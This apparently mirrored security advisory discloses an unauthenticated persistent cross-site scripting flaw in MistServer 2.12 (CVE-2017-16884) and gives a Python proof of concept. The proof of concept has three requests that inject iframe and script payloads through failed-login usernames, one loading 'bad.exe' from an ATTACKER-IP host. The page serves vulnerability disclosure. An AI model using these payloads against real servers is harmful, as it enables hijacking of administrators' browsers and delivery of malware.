Lucene search
K

MistServer 2.12 - Cross-Site Scripting Vulnerability

🗓️ 01 Dec 2017 00:00:00Reported by hyp3rlinxType 
zdt
 zdt
🔗 0day.today👁 34 Views

MistServer 2.12 Unauthenticated Persistent XS

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2017-16884
1 Dec 201700:00
circl
CNVD
MistServer Cross-Site Scripting Vulnerability
4 Dec 201700:00
cnvd
CVE
CVE-2017-16884
6 Dec 201716:00
cve
Cvelist
CVE-2017-16884
6 Dec 201716:00
cvelist
Exploit DB
MistServer 2.12 - Cross-Site Scripting
1 Dec 201700:00
exploitdb
EUVD
EUVD-2017-8055
7 Oct 202500:30
euvd
exploitpack
MistServer 2.12 - Cross-Site Scripting
1 Dec 201700:00
exploitpack
NVD
CVE-2017-16884
7 Dec 201702:29
nvd
OSV
CVE-2017-16884
7 Dec 201702:29
osv
Packet Storm
MistServer 2.12 Cross Site Scripting
1 Dec 201700:00
packetstorm
Rows per page
[+] Credits: John Page (aka Hyp3rlinX)      
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MIST-SERVER-v2.12-UNAUTHENTICATED-PERSISTENT-XSS-CVE-2017-16884.txt

Vendor:
=============
mistserver.org
 

Product:
===========
MistServer v2.12
 
 
MistServer is a full-featured, next-generation streaming media toolkit for OTT (internet streaming).
 
 
 
Vulnerability Type:
===================
Unauthenticated Persistent XSS
 
 
 
CVE Reference:
==============
CVE-2017-16884
 
 
 
Security Issue:
================
Unauthenticated remote attackers can inject persistent XSS payloads by making failed HTTP authentication requests. Attacker supplied payloads will
get stored in the server logs as failed authentication requests alerts. Mistserver echoes back the unsanitized payloads in Mist Servers Web interface
automatically due to automatic refresh of the UI every few seconds, thereby, executing arbitrary attacker supplied code. 
 
 
 
References:
============
https://news.mistserver.org/news/78/Stable+release+2.13+now+available%21
 
 
 
Exploit/POC:
=============
import requests
 
#INJECT IFRAME
requests.get('http://VICTIM-IP:4242/admin/api?callback=&command={"authorize":{"password":"666","username":"<iframe src=\'http://ATTACKER-IP\'></iframe>"}}')
 
#PUSH MALWARE
requests.get('http://VICTIM-IP:4242/admin/api?callback=&command={"authorize":{"password":"666","username":"<iframe src=\'http://ATTACKER-IP/bad.exe\'></iframe>"}}')
 
#EXFIL LOGS
requests.get('http://VICTIM-IP:4242/admin/api?command={"authorize":{"password":"666","username":"<script>alert(document.body.innerHTML)</script>"}}')

#  0day.today [2018-01-02]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation